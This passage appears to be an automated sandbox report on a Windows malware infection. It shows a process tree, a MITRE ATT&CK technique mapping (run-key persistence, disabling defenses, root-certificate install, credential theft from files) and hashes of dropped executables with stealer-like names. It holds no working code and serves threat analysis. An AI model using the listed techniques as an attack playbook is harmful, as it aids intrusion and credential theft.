                                                                      PID:4584
                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                      3⤵
                                                                        PID:4972
                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                        3⤵
                                                                          PID:2652
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5508 -s 792
                                                                          3⤵
                                                                          • Program crash
                                                                          PID:4420
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2448 -ip 2448
                                                                      1⤵
                                                                        PID:4628
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=4068 --field-trial-handle=3088,i,14310325015283915034,7660943942870463106,262144 --variations-seed-version /prefetch:3
                                                                        1⤵
                                                                          PID:1476
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3448 --field-trial-handle=3088,i,14310325015283915034,7660943942870463106,262144 --variations-seed-version /prefetch:8
                                                                          1⤵
                                                                            PID:5860
                                                                          • C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
                                                                            1⤵
                                                                            • Executes dropped EXE
                                                                            PID:5452
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 404 -ip 404
                                                                            1⤵
                                                                              PID:4572
                                                                            • C:\Windows\system32\AUDIODG.EXE
                                                                              C:\Windows\system32\AUDIODG.EXE 0x4a0 0x4a4
                                                                              1⤵
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:6108
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5032 -ip 5032
                                                                              1⤵
                                                                                PID:1740
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5508 -ip 5508
                                                                                1⤵
                                                                                  PID:6008
                                                                                • C:\Windows\system32\LogonUI.exe
                                                                                  "LogonUI.exe" /flags:0x4 /state0:0xa390d855 /state1:0x41c64e6d
                                                                                  1⤵
                                                                                    PID:2364

                                                                                  Network

                                                                                        MITRE ATT&CK Enterprise v15

                                                                                        Reconnaissance

                                                                                        Resource Development

                                                                                        Initial Access

                                                                                        Execution

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Persistence

                                                                                        Boot or Logon Autostart Execution

                                                                                        1
                                                                                        T1547

                                                                                        Registry Run Keys / Startup Folder

                                                                                        1
                                                                                        T1547.001

                                                                                        Create or Modify System Process

                                                                                        1
                                                                                        T1543

                                                                                        Windows Service

                                                                                        1
                                                                                        T1543.003

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Privilege Escalation

                                                                                        Boot or Logon Autostart Execution

                                                                                        1
                                                                                        T1547

                                                                                        Registry Run Keys / Startup Folder

                                                                                        1
                                                                                        T1547.001

                                                                                        Create or Modify System Process

                                                                                        1
                                                                                        T1543

                                                                                        Windows Service

                                                                                        1
                                                                                        T1543.003

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Defense Evasion

                                                                                        Impair Defenses

                                                                                        3
                                                                                        T1562

                                                                                        Disable or Modify System Firewall

                                                                                        1
                                                                                        T1562.004

                                                                                        Disable or Modify Tools

                                                                                        2
                                                                                        T1562.001

                                                                                        Modify Registry

                                                                                        4
                                                                                        T1112

                                                                                        Subvert Trust Controls

                                                                                        1
                                                                                        T1553

                                                                                        Install Root Certificate

                                                                                        1
                                                                                        T1553.004

                                                                                        Credential Access

                                                                                        Unsecured Credentials

                                                                                        3
                                                                                        T1552

                                                                                        Credentials In Files

                                                                                        3
                                                                                        T1552.001

                                                                                        Discovery

                                                                                        Peripheral Device Discovery

                                                                                        1
                                                                                        T1120

                                                                                        Process Discovery

                                                                                        1
                                                                                        T1057

                                                                                        Query Registry

                                                                                        4
                                                                                        T1012

                                                                                        Remote System Discovery

                                                                                        1
                                                                                        T1018

                                                                                        System Information Discovery

                                                                                        4
                                                                                        T1082

                                                                                        Lateral Movement

                                                                                        Collection

                                                                                        Data from Local System

                                                                                        3
                                                                                        T1005

                                                                                        Command and Control

                                                                                        Web Service

                                                                                        1
                                                                                        T1102

                                                                                        Exfiltration

                                                                                        Impact

                                                                                        Replay Monitor

                                                                                        Loading Replay Monitor...

                                                                                        Downloads

                                                                                        Are.docx
                                                                                        • Path C:\ProgramData\Are.docx
                                                                                        • Size 11KB
                                                                                        • SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        mozglue.dll
                                                                                        • Path C:\ProgramData\mozglue.dll
                                                                                        • Size 593KB
                                                                                        • SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        nss3.dll
                                                                                        • Path C:\ProgramData\nss3.dll
                                                                                        • Size 2.0MB
                                                                                        • SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        -temp.ps1
                                                                                        • Path C:\Users\Admin\-temp.ps1
                                                                                        • Size 1KB
                                                                                        • SHA256 017fb2bedc94f0480d208611df6b42589d407fc4338e1f5dc1e00a9fd52752e0
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        powershell.exe.log
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                        • Size 1KB
                                                                                        • SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        Network Persistent State
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                        • Size 1KB
                                                                                        • SHA256 662f70641ef2a916f6d1f058aeb413a624096dae4c4690b8a15406160d92eee5
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        SCT Auditing Pending Reports
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                        • Size 2B
                                                                                        • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        Sdch Dictionaries
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
                                                                                        • Size 40B
                                                                                        • SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        1[1]
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\8ZO46T3J\1[1]
                                                                                        • Size 85KB
                                                                                        • SHA256 ecea49f9a754af7055b60a860acfd8ce2bc63048c947c9ee6324f07d45c4787d
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        2[1]
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\X0OFMNIL\2[1]
                                                                                        • Size 14KB
                                                                                        • SHA256 4ef8146d85d60c2867bdbe44304b5ba00cceb208f4c10c9f91183308e1da3828
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        StartupProfileData-NonInteractive
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                        • Size 16KB
                                                                                        • SHA256 36d7ab5644714097325f79bf4f2398ec756eba2385205dbc43c4ea3a5a93052c
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        2837029563.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\2837029563.exe
                                                                                        • Size 8KB
                                                                                        • SHA256 38a5e274bd63a97d2075a0f24b521dcce4f63e8e5faf3a458da1f227d38f485e
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        3006430217.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\3006430217.exe
                                                                                        • Size 14KB
                                                                                        • SHA256 baa6149b5b917ea3af1f7c77a65e26a34a191a31a9c79726bd60baf4656701fa
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        96513172.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\96513172.exe
                                                                                        • Size 85KB
                                                                                        • SHA256 80b7e224f28c6160737a313221b9fc94d5f5e933ae1438afef4b5fae33185b2d
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        2.3.1.1.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\2.3.1.1.exe
                                                                                        • Size 80KB
                                                                                        • SHA256 aa1b0b2f6f06f622abf2128ecafed1929682221c5ff4dd2426f16b9ae272fdf9
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        Creal.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe
                                                                                        • Size 13.2MB
                                                                                        • SHA256 15548dc4aab59a1ecc65d7cbe37b2a6224e8be7682621e8f6b9ed851ab6f4e97
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        Dolzkqnsbh.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\Dolzkqnsbh.exe
                                                                                        • Size 2.8MB
                                                                                        • SHA256 bd464c108d2022979662b515c494dabaf7f528c31b2da3e75d83ba24171600d0
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        ISetup3.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\ISetup3.exe
                                                                                        • Size 413KB
                                                                                        • SHA256 b2c2e8a2f85332681e406bf83178fb63a58d128af3fa5168bb5f1fd876ede5cf
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        PresentationFontCache.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\PresentationFontCache.exe
                                                                                        • Size 10.7MB
                                                                                        • SHA256 7db58483ed021cf22b0481ccd5fb97cb543e0737146ed27c1182b88598fec4bf
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        asyns.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\asyns.exe
                                                                                        • Size 45KB
                                                                                        • SHA256 c21d1dd6391ae93398507c94f9b075dbe8baceed4903a78b3f6bebfa85cd155e
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        bd2.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\bd2.exe
                                                                                        • Size 271KB
                                                                                        • SHA256 55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        bin.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\bin.exe
                                                                                        • Size 562KB
                                                                                        • SHA256 0520b688648369e393b8f603c33dcc1f138a7a6239025b276824d6dbe9c517fb
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        cp.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\cp.exe
                                                                                        • Size 1.8MB
                                                                                        • SHA256 21c23083404349dbc8e7094338acaa07ea5a7e3a442bb81a528e06c175b8d934
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        crypted_15a94542.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\crypted_15a94542.exe
                                                                                        • Size 2.5MB
                                                                                        • SHA256 51cf93c6450ef2983c672efa72dcaebef2838bc1d0470ef5c61ecc7dd37044c5
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        crypted_69a30000.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\crypted_69a30000.exe
                                                                                        • Size 2.1MB
                                                                                        • SHA256 d6129031e25ad05a41f3e7da06b6a11d0d148133033fd865bad202a5165fb7c4
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        d21cbe21e38b385a41a68c5e6dd32f4c.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe
                                                                                        • Size 4.1MB
                                                                                        • SHA256 6110c7a02fe334fd3cfda9a7be565b4bd3ce59661fba7b744fec1c5a8d46a229
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        flt_shovemydiscoupyourarse.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\flt_shovemydiscoupyourarse.exe
                                                                                        • Size 28KB
                                                                                        • SHA256 a399a577164bba13568d68d4ad05c4a2a6eda71bc97e5f1edb5462371330473f
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        fullwork.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\fullwork.exe
                                                                                        • Size 451KB
                                                                                        • SHA256 29d409af265261b204f6eeeedb5e9bb1f7a829b723a5d1d78384066744bddbe1
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        jokerpos.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\jokerpos.exe
                                                                                        • Size 171KB
                                                                                        • SHA256 6431a7a099dd778ec7e9c8152db98624b23ed02a237c2fe0920d53424752316a
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        lumma2.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\lumma2.exe
                                                                                        • Size 322KB
                                                                                        • SHA256 8d2c29f6d94f4375450e54b8d9fcd645beb7642d4240a4137e7c8539a57040d2
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        momsstiflersdgjboigfnbio.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\momsstiflersdgjboigfnbio.exe
                                                                                        • Size 21.0MB
                                                                                        • SHA256 b729cb7c7d368f60162b4ad181b3e124e22c846923afc40fe021cf2e85d0a8dd
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        s1.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\s1.exe
                                                                                        • Size 95KB
                                                                                        • SHA256 309d20f7a18a1ae1fed72e5c27b0ef2cc0d52dd1629efc250ca74b916730258f
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        test2.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\test2.exe
                                                                                        • Size 2.7MB
                                                                                        • SHA256 a2e678bb376d2dcec5b7d0abac428c87cd8ae75936e28c03cb4232ae97015131
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        twztl.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe
                                                                                        • Size 86KB
                                                                                        • SHA256 35831630e5b19ff5c9af3f8e8e8f9dac00a06880ceb899ea6c37763c5e78fbcb
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        __PSScriptPolicyTest_izm32xk3.jgl.ps1
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_izm32xk3.jgl.ps1
                                                                                        • Size 60B
                                                                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        cadmium.msg
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\cadmium.msg
                                                                                        • Size 548KB
                                                                                        • SHA256 cc509929db978495f737a46b34395e288fad07541d4f4fa2e2377a933785e449
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        gmodule-2.0.dll
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\gmodule-2.0.dll
                                                                                        • Size 24KB
                                                                                        • SHA256 2d6bc34b38bc0abf0c5e2f40e2513b4df47af57848534e011a76d4e974ad958b
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        iconv.dll
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\iconv.dll
                                                                                        • Size 1.1MB
                                                                                        • SHA256 84538f1aacebf9daad9fdb856611ab3d98a6d71c9ec79a8250eee694d2652a8b
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        intl.dll
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\intl.dll
                                                                                        • Size 87KB
                                                                                        • SHA256 6a64c9cb0904ed48ce0d5cda137fcfd6dd463d84681436ca647b195aa2038a7e
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        shape.avi
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\shape.avi
                                                                                        • Size 67KB
                                                                                        • SHA256 707749cf619052155af5187007296ec524c9bd93d7b037647066782d005d288c
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        vmtools.dll
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\vmtools.dll
                                                                                        • Size 617KB
                                                                                        • SHA256 3b6b2b30827bb3f2fb39033f5f78ad7a8d89ebd06d17bef6f2e4e37069035ac1
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        vmtoolsd.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\vmtoolsd.exe
                                                                                        • Size 63KB
                                                                                        • SHA256 bf933ccf86c55fc328e343b55dbf2e8ebd528e8a0a54f8f659cd0d4b4f261f26
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        ioloDMLog.txt
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
                                                                                        • Size 2KB
                                                                                        • SHA256 2c75706da053649351d80f54960cb752fadb7b612bf3dfbef457f49e075aacc9
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        ioloDMLog.txt
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
                                                                                        • Size 3KB
                                                                                        • SHA256 ee00c9690a8e43cef2e655ffe3cfeb3c4151a19d2512c0df5179ab98e4e135b7
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        u1w0.0.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\u1w0.0.exe
                                                                                        • Size 272KB
                                                                                        • SHA256 06d92df4f5d05897df05e9a9b89986a7b4e534cec4d46e3219d79c90edb645b2
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        u1w0.1.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\u1w0.1.exe
                                                                                        • Size 4.6MB
                                                                                        • SHA256 4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        glib-2.0.dll
                                                                                        • Path C:\Users\Admin\AppData\Roaming\eoq_cli_dbg\glib-2.0.dll
                                                                                        • Size 1.0MB
                                                                                        • SHA256 030983470da06708cc55fd6aca92df199a051922b580db5db55c8cb6b203b51b
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        gobject-2.0.dll
                                                                                        • Path C:\Users\Admin\AppData\Roaming\eoq_cli_dbg\gobject-2.0.dll
                                                                                        • Size 281KB
                                                                                        • SHA256 78dd76027e10c17824978db821777fcaa58d7cd5d5eb9d80d6ee817e26b18ab8
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        gthread-2.0.dll
                                                                                        • Path C:\Users\Admin\AppData\Roaming\eoq_cli_dbg\gthread-2.0.dll
                                                                                        • Size 31KB
                                                                                        • SHA256 dbaad965702b89c371462e735dd925c694eda8d8557b280f7264bba992c0e698
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        start.vbs
                                                                                        • Path C:\Users\Admin\start.vbs
                                                                                        • Size 231B
                                                                                        • SHA256 89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        tbtnds.dat
                                                                                        • Path C:\Users\Admin\tbtnds.dat
                                                                                        • Size 4KB
                                                                                        • SHA256 0c698c14dd3b353b618a577cff4ba2d53e230d6fccdbe3886b65b323dce987d8
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        temp.bat
                                                                                        • Path C:\Users\Admin\temp.bat
                                                                                        • Size 204KB
                                                                                        • SHA256 e24aaddfa2ece0891ad7b3c51779c65bbf95e4fded59fc46fe4fef311e1de3e1
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        memory/404-219-0x0000000000400000-0x0000000002D22000-memory.dmp
                                                                                        Download

                                                                                        memory/404-134-0x0000000002EB0000-0x0000000002ED7000-memory.dmp
                                                                                        Download

                                                                                        memory/404-133-0x0000000002F60000-0x0000000003060000-memory.dmp
                                                                                        Download

                                                                                        memory/404-153-0x0000000061E00000-0x0000000061EF3000-memory.dmp
                                                                                        Download

                                                                                        memory/404-504-0x0000000000400000-0x0000000002D22000-memory.dmp
                                                                                        Download

                                                                                        memory/404-482-0x0000000002F60000-0x0000000003060000-memory.dmp
                                                                                        Download

                                                                                        memory/404-135-0x0000000000400000-0x0000000002D22000-memory.dmp
                                                                                        Download

                                                                                        memory/404-371-0x0000000000400000-0x0000000002D22000-memory.dmp
                                                                                        Download

                                                                                        memory/1104-80-0x00000000048A0000-0x00000000048B2000-memory.dmp
                                                                                        Download

                                                                                        memory/1104-64-0x0000000074AD0000-0x0000000075280000-memory.dmp
                                                                                        Download

                                                                                        memory/1104-412-0x00000000048F0000-0x0000000004900000-memory.dmp
                                                                                        Download

                                                                                        memory/1104-180-0x0000000074AD0000-0x0000000075280000-memory.dmp
                                                                                        Download

                                                                                        memory/1104-63-0x0000000000020000-0x000000000003E000-memory.dmp
                                                                                        Download

                                                                                        memory/1104-102-0x00000000048F0000-0x0000000004900000-memory.dmp
                                                                                        Download

                                                                                        memory/1104-89-0x0000000004940000-0x000000000497C000-memory.dmp
                                                                                        Download

                                                                                        memory/1104-103-0x0000000004980000-0x00000000049CC000-memory.dmp
                                                                                        Download

                                                                                        memory/1104-77-0x0000000004F20000-0x0000000005538000-memory.dmp
                                                                                        Download

                                                                                        memory/1104-127-0x0000000004BB0000-0x0000000004CBA000-memory.dmp
                                                                                        Download

                                                                                        memory/2448-93-0x0000000002FF0000-0x00000000030F0000-memory.dmp
                                                                                        Download

                                                                                        memory/2448-91-0x0000000002F10000-0x0000000002F7C000-memory.dmp
                                                                                        Download

                                                                                        memory/2448-98-0x0000000000400000-0x0000000002D45000-memory.dmp
                                                                                        Download

                                                                                        memory/2448-225-0x0000000002F10000-0x0000000002F7C000-memory.dmp
                                                                                        Download

                                                                                        memory/2448-150-0x0000000000400000-0x0000000002D45000-memory.dmp
                                                                                        Download

                                                                                        memory/3008-273-0x0000000006250000-0x00000000062E6000-memory.dmp
                                                                                        Download

                                                                                        memory/3008-235-0x00000000023C0000-0x00000000023D0000-memory.dmp
                                                                                        Download

                                                                                        memory/3008-344-0x0000000007060000-0x00000000070B8000-memory.dmp
                                                                                        Download

                                                                                        memory/3008-275-0x0000000006220000-0x0000000006242000-memory.dmp
                                                                                        Download

                                                                                        memory/3008-272-0x00000000023C0000-0x00000000023D0000-memory.dmp
                                                                                        Download

                                                                                        memory/3008-294-0x0000000007590000-0x0000000007B34000-memory.dmp
                                                                                        Download

                                                                                        memory/3008-234-0x0000000074AD0000-0x0000000075280000-memory.dmp
                                                                                        Download

                                                                                        memory/3008-245-0x00000000023C0000-0x00000000023D0000-memory.dmp
                                                                                        Download

                                                                                        memory/3028-0-0x0000000074AD0000-0x0000000075280000-memory.dmp
                                                                                        Download

                                                                                        memory/3028-2-0x0000000004D70000-0x0000000004E0C000-memory.dmp
                                                                                        Download

                                                                                        memory/3028-3-0x0000000004F60000-0x0000000004F70000-memory.dmp
                                                                                        Download

                                                                                        memory/3028-1-0x0000000000310000-0x0000000000318000-memory.dmp
                                                                                        Download

                                                                                        memory/3028-132-0x0000000004F60000-0x0000000004F70000-memory.dmp
                                                                                        Download

                                                                                        memory/3028-101-0x0000000074AD0000-0x0000000075280000-memory.dmp
                                                                                        Download

                                                                                        memory/3068-90-0x00000000005B0000-0x00000000005B1000-memory.dmp
                                                                                        Download

                                                                                        memory/3068-81-0x0000000000400000-0x000000000044B000-memory.dmp
                                                                                        Download

                                                                                        memory/3068-88-0x00000000005B0000-0x00000000005B1000-memory.dmp
                                                                                        Download

                                                                                        memory/3068-87-0x00000000005B0000-0x00000000005B1000-memory.dmp
                                                                                        Download

                                                                                        memory/3068-92-0x0000000000400000-0x000000000044B000-memory.dmp
                                                                                        Download

                                                                                        memory/3068-71-0x0000000000400000-0x000000000044B000-memory.dmp
                                                                                        Download

                                                                                        memory/3068-86-0x00000000005B0000-0x00000000005B1000-memory.dmp
                                                                                        Download

                                                                                        memory/3124-390-0x0000000000400000-0x00000000008AD000-memory.dmp
                                                                                        Download

                                                                                        memory/3124-408-0x0000000000400000-0x00000000008AD000-memory.dmp
                                                                                        Download

                                                                                        memory/3124-164-0x00000000028E0000-0x00000000028E1000-memory.dmp
                                                                                        Download

                                                                                        memory/3124-259-0x0000000000400000-0x00000000008AD000-memory.dmp
                                                                                        Download

                                                                                        memory/3444-85-0x0000000074AD0000-0x0000000075280000-memory.dmp
                                                                                        Download

                                                                                        memory/3444-84-0x0000000002980000-0x0000000004980000-memory.dmp
                                                                                        Download

                                                                                        memory/3444-50-0x0000000074AD0000-0x0000000075280000-memory.dmp
                                                                                        Download

                                                                                        memory/3444-49-0x00000000006F0000-0x0000000000746000-memory.dmp
                                                                                        Download

                                                                                        memory/3444-244-0x0000000002980000-0x0000000004980000-memory.dmp
                                                                                        Download

                                                                                        memory/4632-253-0x0000000000F70000-0x0000000000FDC000-memory.dmp
                                                                                        Download

                                                                                        memory/4632-336-0x0000000000F70000-0x0000000000FDC000-memory.dmp
                                                                                        Download

                                                                                        memory/4632-255-0x0000000000F70000-0x0000000000FDC000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-107-0x0000000005920000-0x0000000005F48000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-206-0x0000000007E40000-0x00000000084BA000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-131-0x0000000006030000-0x0000000006384000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-136-0x0000000006500000-0x000000000651E000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-112-0x0000000005FC0000-0x0000000006026000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-181-0x00000000052E0000-0x00000000052F0000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-108-0x00000000052E0000-0x00000000052F0000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-110-0x0000000005720000-0x0000000005742000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-215-0x0000000074AD0000-0x0000000075280000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-207-0x0000000006B90000-0x0000000006BAA000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-105-0x0000000074AD0000-0x0000000075280000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-104-0x0000000005140000-0x0000000005176000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-106-0x00000000052E0000-0x00000000052F0000-memory.dmp
                                                                                        Download

                                                                                        memory/4972-111-0x0000000005890000-0x00000000058F6000-memory.dmp
                                                                                        Download

                                                                                        memory/5032-561-0x0000000000400000-0x0000000000644000-memory.dmp
                                                                                        Download

                                                                                        memory/5124-262-0x0000000001A50000-0x0000000001A51000-memory.dmp
                                                                                        Download

                                                                                        memory/5124-463-0x00007FFFD5980000-0x00007FFFD5AF2000-memory.dmp
